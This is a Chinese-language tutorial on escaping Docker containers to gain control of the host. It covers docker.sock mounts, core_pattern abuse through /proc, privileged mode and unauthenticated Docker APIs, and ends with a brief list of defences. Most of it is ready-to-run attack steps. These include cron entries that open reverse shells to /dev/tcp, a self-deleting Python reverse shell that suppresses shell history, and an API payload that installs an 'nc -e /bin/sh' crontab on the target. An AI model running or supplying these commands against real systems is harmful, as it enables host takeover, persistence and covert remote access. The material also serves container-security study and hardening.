docker逃逸从0到1
字数 1227 2025-08-22 12:22:30
Docker逃逸技术从0到1全面指南
1. Docker逃逸基础知识
1.1 Docker架构概述
Docker采用C/S架构:
- Docker Client:用户通过命令行与Docker交互的工具
- Docker Daemon:后台服务,负责管理容器创建、运行等操作
1.2 通信方式
Docker Client与Daemon的通信方式:
unix:///var/run/docker.sock(默认方式,Unix域套接字)tcp://host:port(通过TCP/IP协议)fd://socketfd(使用文件描述符)
2. docker.sock挂载逃逸
2.1 原理
当容器挂载/var/run/docker.sock时,容器内进程可以与宿主机Docker Daemon通信,执行任意Docker命令。
2.2 实现步骤
- 运行挂载docker.sock的容器:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu
- 容器内安装Docker客户端:
apt-get update && apt-get install docker.io
- 创建恶意容器挂载宿主机根目录:
docker run -it -v /:/host ubuntu:18.04 /bin/bash
- 通过挂载目录控制宿主机:
cd /host
ls # 查看宿主机文件系统
- 可选:设置定时任务反弹shell:
echo '* * * * * bash -i >& /dev/tcp/IP/2333 0>&1' >> /host/var/spool/cron/root
3. 挂载proc逃逸
3.1 原理
利用/proc/sys/kernel/core_pattern配置:
- 当首个字符为
|时,剩余内容会被作为用户空间程序执行 - 程序崩溃时会触发执行
3.2 实现步骤
- 运行挂载proc的容器:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
- 查找容器在宿主机上的绝对路径:
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
- 准备反弹shell脚本(Python示例):
#!/usr/bin/python3
import os
import pty
import socket
lhost = "攻击者IP"
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.lll.py') # 删除自身
s.close()
if __name__ == "__main__":
main()
- 设置core_pattern触发点:
echo -e "|/var/lib/docker/overlay2/[容器ID]/merged/tmp/.lll.py \rcore" > /host/proc/sys/kernel/core_pattern
- 触发程序崩溃(C示例):
#include <stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译并运行:
gcc t.c -o t && ./t
4. 特权模式逃逸
4.1 特权模式特性
特权容器拥有:
- 所有Linux权能
- 可写
/sys和/proc - 访问所有设备
- 系统权能全部打开
4.2 实现步骤
- 以特权模式启动容器:
docker run -it --privileged ubuntu:latest /bin/bash
- 验证特权模式:
cat /proc/self/status | grep CapEff
# 特权模式返回:0000003fffffffff 或 0000001fffffffff
- 查找磁盘并挂载:
fdisk -l # 查看磁盘
mkdir /lll && mount /dev/sda1 /lll # 挂载宿主机磁盘
- 控制宿主机文件系统:
cd /lll # 现在可以访问宿主机所有文件
- 可选:设置定时任务反弹shell:
echo '* * * * * bash -i >& /dev/tcp/IP/2333 0>&1' >> /lll/var/spool/cron/root
5. Docker未授权访问逃逸
5.1 环境搭建
- 使用Vulhub环境:
docker-compose up -d
或直接暴露Docker API:
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
5.2 利用方法
- 检查API是否可用:
curl http://target:2375/version
curl http://target:2375/containers/json
- 执行命令(Python示例):
import docker
client = docker.DockerClient(base_url='http://target:2375/')
data = client.containers.run('alpine:latest',
r'''sh -c "echo '* * * * * /usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root"''',
remove=True,
volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
- 通过挂载/etc目录修改crontab实现持久化控制
6. 防御措施
- 避免挂载敏感目录:
/var/run/docker.sock/proc/sys- 宿主机根目录
- 安全配置:
- 不使用
--privileged特权模式 - 限制容器权能(
--cap-drop=ALL --cap-add=...) - 配置Docker守护进程仅监听本地Unix套接字
- 网络防护:
- 不将Docker API暴露在公网
- 使用TLS认证保护API访问
- 监控与审计:
- 监控异常容器行为
- 审计容器挂载点
- 检查特权容器
7. 总结
Docker逃逸技术主要利用:
- 不安全的挂载配置(docker.sock、proc、宿主机目录)
- 特权模式赋予的过高权限
- 未授权访问的API接口
防御关键在于最小权限原则和严格的安全配置。